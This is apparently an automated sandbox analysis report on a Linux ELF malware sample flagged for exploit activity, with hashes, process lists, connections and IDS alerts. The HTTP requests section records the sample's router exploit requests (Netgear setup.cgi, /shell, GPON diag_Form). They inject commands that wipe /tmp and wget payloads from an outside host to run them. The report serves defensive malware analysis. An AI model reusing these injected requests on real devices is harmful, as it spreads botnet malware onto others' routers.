File name:

Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6

Full analysis: https://app.any.run/tasks/ad7e22e5-7624-451c-8bde-8975ce11dd88
Verdict: Malicious activity
Analysis date: August 25, 2025, 10:54:06
OS: Ubuntu 22.04.2
Tags:
exploit
Indicators:
MIME: application/x-executable
File info: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped
MD5:

8B8C0216DFC57C4F7FB3A28F2C11092F

SHA1:

4E27EED09E093CAE6CAFDC6C3950FEC3DD855C56

SHA256:

DE5FB68023465CB5D8ACE412E11032D98A41BD6AF2A83245C046020530130496

SSDEEP:

1536:6Tw/RUKG1VyS5zChZ/Uh1+dgQO7h25YzPsm4fHM5R4JNtbm9c:6Tw/KKWVyS5kZ8h1+7tmUHM5RsNtbm9c

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • EXPLOIT has been detected (SURICATA)

      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 1964)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 1991)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 1969)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 2023)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 1995)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 1997)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 2000)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 2022)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 2028)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 2029)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 2035)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 2037)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 2036)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 2041)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 2042)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 2047)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 2046)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 2076)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 2056)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 2051)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 2052)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 2055)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 2067)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 2062)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 2066)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 2068)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 2074)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 2077)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 2082)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 2095)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 2098)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 2105)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 2097)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 2104)

  • SUSPICIOUS

    • Modifies file or directory owner

      • sudo (PID: 1904)

    • Executes commands using command-line interpreter

      • sudo (PID: 1907)

    • Connects to unusual port

      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 1928)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 1917)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 1926)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 1918)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 1934)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 1924)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 1927)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 1933)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 1930)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 1929)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 1931)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 1923)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 1932)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 1922)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 1925)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 1921)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 1920)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 1919)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 1937)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 1952)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 1935)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 1936)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 1940)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 1941)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 1938)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 1939)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 1943)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 1942)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 1944)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 1948)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 1946)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 1949)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 1945)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 1947)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 1950)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 1951)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 1955)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 1953)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 1954)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 1965)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 1979)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 1974)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 1980)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 1987)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 1981)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 1996)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 1956)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 2044)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 2045)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 2050)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 2083)
      • Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf (PID: 2096)

  • INFO

    No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.o | ELF Executable and Linkable format (generic) (100)

EXIF

EXE

CPUArchitecture: 64 bit
CPUByteOrder: Little endian
ObjectFileType: Executable file
CPUType: AMD x86-64
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
296
Monitored processes
165
Malicious processes
78
Suspicious processes
0

Behavior graph

Click at the process to see the details
dash no specs sudo no specs chown no specs chmod no specs sudo no specs ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf no specs locale-check no specs ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf no specs ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf no specs ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf no specs ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf #EXPLOIT ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf #EXPLOIT ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf #EXPLOIT ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf #EXPLOIT ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf #EXPLOIT ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf #EXPLOIT ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ubuntu-advantage-notification no specs #EXPLOIT ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf #EXPLOIT ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf #EXPLOIT ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf #EXPLOIT ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf #EXPLOIT ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf #EXPLOIT ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf #EXPLOIT ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf #EXPLOIT ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf #EXPLOIT ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf #EXPLOIT ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf #EXPLOIT ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf #EXPLOIT ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf #EXPLOIT ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf #EXPLOIT ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf #EXPLOIT ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf #EXPLOIT ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf #EXPLOIT ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf #EXPLOIT ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf #EXPLOIT ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf #EXPLOIT ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf #EXPLOIT ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf #EXPLOIT ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf #EXPLOIT ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf deja-dup-monitor no specs ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf #EXPLOIT ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf #EXPLOIT ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf #EXPLOIT ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf #EXPLOIT ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf #EXPLOIT ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf ujigbnye8fjnlqjjjcedmyyorhag1idxi6.elf

Process information

PID
CMD
Path
Indicators
Parent process
1903/bin/sh -c "sudo chown user /tmp/Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6\.elf && chmod +x /tmp/Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6\.elf && DISPLAY=:0 sudo -iu user /tmp/Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6\.elf "/usr/bin/dash—zhqBI23Omt06cXXL
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
1904sudo chown user /tmp/Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf/usr/bin/sudo—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libaudit.so.1.0.0
/usr/lib/x86_64-linux-gnu/libselinux.so.1
/usr/libexec/sudo/libsudo_util.so.0.0.0
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libpcre2-8.so.0.10.4
/usr/lib/x86_64-linux-gnu/libnss_systemd.so.2
/usr/libexec/sudo/sudoers.so
/usr/lib/x86_64-linux-gnu/libpam.so.0.85.1
/usr/lib/x86_64-linux-gnu/libz.so.1.2.11
/usr/lib/x86_64-linux-gnu/security/pam_limits.so
1905chown user /tmp/Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf/usr/bin/chown—sudo
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
1906chmod +x /tmp/Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf/usr/bin/chmod—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
1907sudo -iu user /tmp/Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf/usr/bin/sudo—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libaudit.so.1.0.0
/usr/lib/x86_64-linux-gnu/libselinux.so.1
/usr/libexec/sudo/libsudo_util.so.0.0.0
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libcap-ng.so.0.0.0
/usr/lib/x86_64-linux-gnu/libpcre2-8.so.0.10.4
/usr/lib/x86_64-linux-gnu/libnss_systemd.so.2
/usr/libexec/sudo/sudoers.so
/usr/lib/x86_64-linux-gnu/libpam.so.0.85.1
/usr/lib/x86_64-linux-gnu/libz.so.1.2.11
1908/tmp/Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf/tmp/Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf—sudo
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libtinfo.so.6.3
/usr/lib/x86_64-linux-gnu/libc.so.6
1909/usr/bin/locale-check C.UTF-8/usr/bin/locale-check—Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
1910/tmp/Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf/tmp/Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf—Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
1914/tmp/Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf/tmp/Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf
Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
1915/usr/lib/systemd/systemd-journald /tmp/Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf—Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Executable files
0
Suspicious files
0
Text files
0
Unknown types
0

Dropped files

No data
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
68
TCP/UDP connections
7 748
DNS requests
14
Threats
70

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
GET
204
91.189.91.49:80
http://connectivity-check.ubuntu.com/
unknown
—
—
whitelisted
1914
Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf
GET
200
178.16.54.252:80
http://178.16.54.252/.shell
unknown
—
—
—
1962
Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf
GET
400
18.164.115.231:80
http://18.164.115.231:80/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://178.16.54.252/spim+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1
unknown
—
—
—
1964
Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf
GET
403
18.164.115.231:80
http://18.164.115.231:80/shell?cd+/tmp;rm+-rf+*;wget+http://178.16.54.252/l7vmra;chmod+777+l7vmra;/tmp/l7vmra
unknown
—
—
—
1961
Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf
POST
403
18.164.115.231:80
http://127.0.0.1:80/GponForm/diag_Form?images/
unknown
—
—
malicious
1967
Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf
GET
—
194.146.132.77:80
http://194.146.132.77:80/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://178.16.54.252/spim+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1
unknown
—
—
—
1966
Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf
POST
200
194.146.132.77:80
http://127.0.0.1:80/GponForm/diag_Form?images/
unknown
—
—
malicious
1991
Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf
GET
404
116.58.254.21:80
http://116.58.254.21:80/shell?cd+/tmp;rm+-rf+*;wget+http://178.16.54.252/l7vmra;chmod+777+l7vmra;/tmp/l7vmra
unknown
—
—
—
1969
Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf
GET
200
194.146.132.77:80
http://194.146.132.77:80/shell?cd+/tmp;rm+-rf+*;wget+http://178.16.54.252/l7vmra;chmod+777+l7vmra;/tmp/l7vmra
unknown
—
—
—
1989
Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6.elf
GET
—
116.58.254.21:80
http://116.58.254.21:80/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://178.16.54.252/spim+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1
unknown
—
—
—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
—
—
195.181.175.40:443
odrs.gnome.org
Datacamp Limited
DE
whitelisted
477
avahi-daemon
224.0.0.251:5353
—
—
—
unknown
—
—
185.125.190.58:123
ntp.ubuntu.com
—
—
whitelisted
—
—
91.189.91.49:80
connectivity-check.ubuntu.com
Canonical Group Limited
US
whitelisted
—
—
185.125.188.57:443
api.snapcraft.io
Canonical Group Limited
GB
whitelisted
—
—
185.125.188.59:443
api.snapcraft.io
Canonical Group Limited
GB
whitelisted
—
—
185.125.188.54:443
api.snapcraft.io
Canonical Group Limited
GB
whitelisted
496
snapd
185.125.188.54:443
api.snapcraft.io
Canonical Group Limited
GB
whitelisted
496
snapd
185.125.188.58:443
api.snapcraft.io
Canonical Group Limited
GB
whitelisted
496
snapd
185.125.188.59:443
api.snapcraft.io
Canonical Group Limited
GB
whitelisted

DNS requests

Domain
IP
Reputation
odrs.gnome.org
  • 195.181.175.40
  • 37.19.194.81
  • 195.181.170.18
  • 212.102.56.179
  • 79.127.211.90
  • 2a02:6ea0:c700::19
  • 2a02:6ea0:c77a::47
  • 2a02:6ea0:c700::101
  • 2a02:6ea0:c700::21
  • 2a02:6ea0:c700::11
whitelisted
google.com
  • 172.217.18.110
  • 2a00:1450:4001:82f::200e
whitelisted
ntp.ubuntu.com
  • 185.125.190.58
  • 185.125.190.57
  • 91.189.91.157
  • 185.125.190.56
  • 2620:2d:4000:1::41
  • 2620:2d:4000:1::40
  • 2620:2d:4000:1::3f
whitelisted
api.snapcraft.io
  • 185.125.188.57
  • 185.125.188.54
  • 185.125.188.58
  • 185.125.188.59
  • 2620:2d:4000:1010::2e6
  • 2620:2d:4000:1010::2d6
  • 2620:2d:4000:1010::117
  • 2620:2d:4000:1010::42
whitelisted
connectivity-check.ubuntu.com
  • 91.189.91.49
  • 185.125.190.17
  • 185.125.190.49
  • 185.125.190.97
  • 91.189.91.48
  • 185.125.190.98
  • 91.189.91.96
  • 91.189.91.98
  • 91.189.91.97
  • 185.125.190.96
  • 185.125.190.18
  • 185.125.190.48
  • 2620:2d:4000:1::97
  • 2620:2d:4000:1::98
  • 2620:2d:4000:1::2a
  • 2620:2d:4000:1::23
  • 2620:2d:4002:1::197
  • 2620:2d:4000:1::22
  • 2620:2d:4002:1::196
  • 2620:2d:4002:1::198
  • 2620:2d:4000:1::96
  • 2620:2d:4000:1::2b
  • 2001:67c:1562::23
  • 2001:67c:1562::24
whitelisted
conn.elbbird.zip
  • 178.16.54.252
unknown
3.100.168.192.in-addr.arpa
  • —
unknown

Threats

PID
Process
Class
Message
—
—
Misc activity
ET INFO Observed DNS Query to .zip TLD
—
—
Attempted Administrator Privilege Gain
ET HUNTING Suspicious Chmod Usage in URI (Outbound)
—
—
Attempted Administrator Privilege Gain
